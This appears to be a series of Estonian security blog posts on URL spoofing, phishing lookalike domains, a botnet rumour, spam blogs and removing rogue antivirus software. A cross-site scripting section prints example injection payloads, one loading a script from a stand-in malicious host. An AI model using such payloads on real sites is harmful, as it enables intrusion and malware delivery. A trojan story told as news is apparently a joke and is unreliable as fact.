URL-ide võltsimine

Internetiaadressi ehk URL-i võltsimine on üha laiemalt leviv kaval võte, mille abil pahategijad suunavad arvutikasutajaid pahatahtlikele lehekülgedele, lasevad neil alla laadida viiruseid ja muud pahavara või siis varastavad paroole ja muud väärtuslikku infot.

Igale dokumendil või muul ressursil on Internetis oma unikaalne aadress, URL. Kui soovitakse pöörduda mingi veebilehe poole, siis kirjutatakse URL veebilehitseja aadressilahtrisse. URL’id sisalduvad ka veebilehtedes, kus nad kujutavad endast hüpertekstlinke teistele veebilehtedele.

Internetiaadressi esimene osa näitab ära kasutatava protokolli (näit. HTTP), sellele järgneb domeeninimi, alamkataloogi nimi ja failinimi. Veebisaidi avalehe poole pöördumiseks on vaja ainult protokolli- ja domeeninime.

Kuidas siis internetilehekülgi võltsitakse?

Esimene tehnika:

Võtame ühe lehekülje, mis näeb välja nagu Yahoo! pärislehekülje aadress (www.yahoo.com):

http://www.yahoo550.com/image/logo.jpg?queryid=77092

URL-i algus sarnaneks nagu Yahoo! omaga (yahoo500.com), kuid tegelikult ei ole sel päris-Yahooga midagi pistmist. See lehekülg võib küll paista näiteks Yahoo! ühe teenuslehekülje, http://360.yahoo.com/ sarnane, aga tegelikult ei ole see Yahoo! vallatav lehekülg.

Küll aga kuulub Yahoo!-le näiteks http://travel.yahoo.com/. Yahoo on domeen ja travel alamdomeen, mõlemit haldab päris Yahoo!

Selle võltsimistehnika puhul kasutatakse ära tavakasutajate pealiskaudsust – enamik ei ole harjunud URL-e kuigi tähelepanelikult jälgima ning neile piisab, kui nad URL-i nimes kasvõi mõne tuttava elemendi ära tunnevad.

Teine tehnika:

Veidi tähelepanelikumate ohvrite lollitamiseks asendatakse URL-i nimes üks või osa tähti sarnaste, kuid tegelikult erinevate tähtede/numbritega. Näiteks www.hot.ee võib olla ka www.ho7.ee.

Tavalised asendused on näiteks “i” -> “I”, “O” -> “0” või siis ka “1” -> “I”. Võib olla ka juhtumeid, kus teil palutakse kohe sisse logida leheküljele www.ma1l.ee, sest vastasel juhul kustutatakse teie kirjad või konto. Tekst on, nagu ikka, inglise keeles, näiteks: “Log in with your email account quickly, otherwise it will be deleted!

Kolmas tehnika:

Eriti kahtlased on näiteks e-kirja või Messengeri sõnumiga saadetud pikad ja segased URL-id, mille lõpus on .exe laiendiga fail, näiteks http://216.12.204.2/…./scfl.exe. Niisugusel juhul võib tegemist olla viirusega, mis installib end automaatselt teie arvutisse. Õnneks hoiatab vähegi turvaline brauser teid alati, kui üritate mõnd niisugust URL-i avada.

Neljas tehnika:

Võltsitud URL-le lisatakse skript, mis üritab läbi veebisirvja turvaaugu saada kontrolli arvuti üle. Kui ohver on veebilehitsejal skriptid lubanud (ja enamasti see vaikimisi nii ka on), siis võib veebilehe lähtekoodis näha midagi niisugust:

Hello message board. This is a message.

<SCRIPT>jupp pahatahtlikku koodi</SCRIPT>

This is the end of my message.

Samuti võib kohata sellist 2-st URL-st koosnevat teksti

<A href=”http://example.com/comment.cgi? mycomment=<SCRIPT src=’http://kuriveeb/pahavara’></SCRIPT>”>Vajuta siia</A>

<A href=”http://example.com/comment.cgi? mycomment=<SCRIPT>jupp pahatahtlikku koodi</SCRIPT>”> Vajuta siia</A>

Esimeses koodijupis on skriptis selgesõnaliselt endaga ühenduv kood, mis saab siis faile või juhiseid viidatud internetileheküljelt. Teises koodijupis on viite taga lihtsalt pahatahtlik kood, mida saab end käivitada läbi veebisirvija turvaaugu.

Mida skriptid teevad?

Kui kasutaja on külastanud pahatahtlike skriptidega lehekülgi, siis halvemal juhul saab ründaja ohvri arvuti üle täieliku kontroll – eriti juhul, kui surfaja kasutab vananenud ja turvaparandusteta veebisirvijat. Ründaja näeb, mis rünnatavas arvutis parasjagu toimub, milliseid lehekülgi on kasutaja külastanud enne ja pärast skriptiga pihtasaamist, ta võib uurida kasutaja salvestatud paroolide loendit ning koguni paigaldada arvutisse täiendavat pahavara. Seda kõike siis, nagu eelpool öeldud, vananenud ja turvaparandusteta brauseri ja opsüsteemi puhul – näiteks kui kasutate veebi sirvimiseks veel Internet Exploreri versiooni 6…

Kui ründajal õnnestub sisse murda veebiserverisse, siis saab ta laadida skripti üles ka serveri hallatavale koduleheküljele. Näiteks www.rooli.ee-ga oli hiljuti selline lugu.

Niimoodi saab skripti laiali saata väga suurele hulgale surfajatele ning sellega kontrollida juba väga suurt hulka arvuteid.

Kuidas liba-URL-id levivad?

Üheks peamiseks nende leviku allikaks on spämm.  Võltsitud URL-e võidakse saata ka Messengeri või Skype’i vestlusaknasse, neid võidakse istutada foorumi- ja blogipostitustesse või siis, nagu eelnevalt öeldud, kräkitud kodulehekülgedele.

Pikemalt saab URL-ide võltsimisest lugeda CA turvablogist.

Kuulujutt: valmistatakse ette kübersõja kordust

Dmitri Infosecurityst kirjutab:

Zone-H.org community’is on liikvel järjekordne kulujutt. Nimelt räägitakse, et hetkel toimub varjatud tegevus, mis korjab tavakasutajate arvuteid botnetti uue rünnaku ettevalmistuseks. Botnet käivitub pronksiöö aastapäeval, selle abil toimuvad uued küberrünnakud.
Botneti loomiseks kasutatav MayDay pole uudne kurivara, sest sai kirjeldatud juba veebruaris . Kurivara kasutatakse backdoori tegemiseks arvutisse ja ta ei ole lihtsalt avastatav. Mitte iga viirustõrje ei pruugi reageerida!

Õnneks on Eesti arvutisüsteemid nüüd kübersõjaks paremini ette valmistatud kui aasta tagasi. Loodetavasti 🙂

Kuid omaenda arvutit saab botnetti sattumast hoida ikkagi eelkõige selle omanik, seepärast kohustuslikud turvahoiatused:  ärge kolage kahtlastel lehekülgedel, ärge avahe kahtlasi faile, hoidke oma tulemüür ja viirustõrje töökorras ning laadige regulaarselt alla operatsioonisüsteemi ja rakendusprogrammide turvaparandusi!

Tänase päeva põnevaim troojalane

F-Secure’i turvalabori spetsialistid avastasid uue, väga veidralt käituva troojalase. Win32.Pril.A nime saanud pahalane nimelt installeerib end alglaadimissektorisse, kirjutab üle BIOS-i ning asub passima momenti, mil kasutaja siseneb suvalisse sadadest üle maailma paiknevatest online-pankadest. Seejärel projtseerib troojalane võltsitud kodulehe otse VGA adapterisse ja, nagu sellest veel vähe oleks, kannab raha ohvri pangaarvele, mitte sealt minema. Mikko kirjutab, kuidas terve turvalabor testis seda veidrat nähtust mitu korda ja mitmete pangaarvetega…

Seda uut põnevat pahalast saab alla laadida siit.

Spämmiblogid

Spämmiga foorumites ning portaalide ja blogide kommentaariruumis on kõik juba ammu harjunud. Täna aga hakkas silma rämpspostitajate uus nõks – spämmiblogid. Märkasin nimelt meie oma kodumaises blog.tr.ee-s listitud blogipostitust pealkirjaga “Get Cash Now Without a Job” – no selliseid olen isegi oma spämmifiltrist tuhandete kaupa ära kustutanud. Postituse külge haagitud blogis oli neid va tüüppealkirju veelgi rohkem:

cash.png

Kommentaaride spämmifiltrid töötavad enamasti hästi, blogide eneste filtreerimine pole aga veel kuigi laialt levinud. Sestap saavadki spämmijad otse blogipostituste endi kaudu oma kahtlase väärtusega sõnumit takistamatult levitada.

Palusin ka blog.tr.ee kommentaari, Andris Reinman on probleemist teadlik:

“Antud tüüpi blogid on automaatselt raskesti avastatavad ja neile saab peale ainult siis, kui see ise silma hakkab. Nimelt on nii, et kui keegi kirjutab kuskil levinud blogisaidil, näiteks sealsamas blogspotis blogi, kuid hiljem mingitel põhjustel selle ära kustutab, siis spämmirobotid, nähes domeeni ärakukkumist, võtavad selle kiirelt üle ja topivad spämmi täis – kasutades sellega osavalt ära eelmise blogija kogutud google pageranki ja muud sellega kaasnevat.

Eriti heaks näiteks saab tuua endist suht populaarset Marta ja Potsataja blogi (mingi hetk kolis blogspotist ära wordpressi teise aadressi peale), http://martamull.blogspot.com/, mis hetkel on täidetud mingi aasia spämmiga.

Blog.tr.ee-s on samamoodi – kui inimene kustutab blog.tr.ee-s oleva blogi ära ja spämmerid võtavad domeeninime endale kiirelt üle, ei saa me kuskilt otsast teada, et midagi juhtunud on.”

Blogipuu, nii nagu ka seal listitud blogimiskeskkonnad (wordpress.com, blogger.com, blogspot.com jne) üldiselt spämmi ei salli ning kustutavad rämpsposti levitavad blogid tavaliselt meelsasti, kui neile sellest teada anda.

RogueRemover FREE

Libatõrjujad on grupp pahavara, mis esineb kas nuhkvaraeemaldaja, viirustõrjuja või kõvakettapuhastajana, hirmutab kasutajat “leitud probleemidega” ning pakub end neid samas ka eemaldama. Ehmunud kasutaja sellega tihtilugu ka nõustub, misjärel teatatakse talle küll “probleemide” lahendamisest, kuid arvuti nakatatakse sedapuhku tõelise pahavaraga.

roque1.jpg

Lisaks libatõrjujate eemaldamisprogrammile SmitFraudFix leidsin www.wilderssecurity.com-i foorumis ringi vaadates programmi nimega RogueRemover FREE. Kuna tean paljusi juhtumeid, kus just libatõrjujad on arvuti kasutajat segama asunud, mõtlesin kohe ka seda programmi katsetada. Katsetatavat arvutit ei tulnudki kaua otsida, kuna juba täna sain ühe sellise kätte.
RogueRemover FREE saab alla laadida siit. Pärast installimist tõmmake programmile kohe uuendused – klikake Check for updates ning avanevas aknas uuesti Check for updates. Nüüd annab programm teada, et uuemat programmiversiooni ei leitud – vajutage OK. Nüüd ütleb uuendamismoodul: There is newer version of database – klikake OK ja valige nüüd Download. Oodake, kuni baas on alla laetud ja programm teatab: Database update completed. Nüüd, kui uuendus tehtud, tuleb teha asuda arvutit kontrollima.

Vajutage peamenüüst Scan ning oodake, kuni arvutit skänneeritakse. Kui midagi ei avastatud, on kõik hästi 🙂
Kui aga tulemus on nagu alloleval pildil:
roque2.jpg
vajutage Remove Selected (veenduge, et kõigil on linnukesed ees) ning peale eemaldamist tehke arvutile restart.
Minu käes olnud arvutil eemaldas see programm ilma suurema vaevata kõik need pop-upid ja karjuvad ikoonid kella juures mõne hetkega.

Valik tasuta nuhkvaratõrjujaid

1images1.jpg

Paar päeva tagasi kurtis üks mu tuttav, et ta poja arvuti käitub imelikult – küllap mingi pahavara sees. Kuna tegu noore poisiga ja arvutiasjanduses algajaga, siis esialgu soovitasin talle vabavaralisi nuhkvaratõrjeid, eeldades, et tasulised programmid hakkavad rahakoti pihta. Järgmisel päeval aga tuli uhke issi minu juurde „spetsialistist“ pojukese sõnadega, et minu soovitatud programmid olevat „lapsemäng“. No tule taevas appi! Kust küll sellised müüdid on tulnud, et vabavaralised tõrjeprogrammid on kehvad!

Veidi asja edasi uurides selgus, et pojake olevat omale juba hankinud kaks minu soovitatud programmi AVG Antispyware ja a-squared, ent nende lahtikräkitud tasulised versioonid. Need pidavat ruulima vabavaralistest kümme korda etemini ja avastama kakskümmend korda rohkem pahavara. No ega ikka nii ei ole küll! Loe edasi: Valik tasuta nuhkvaratõrjujaid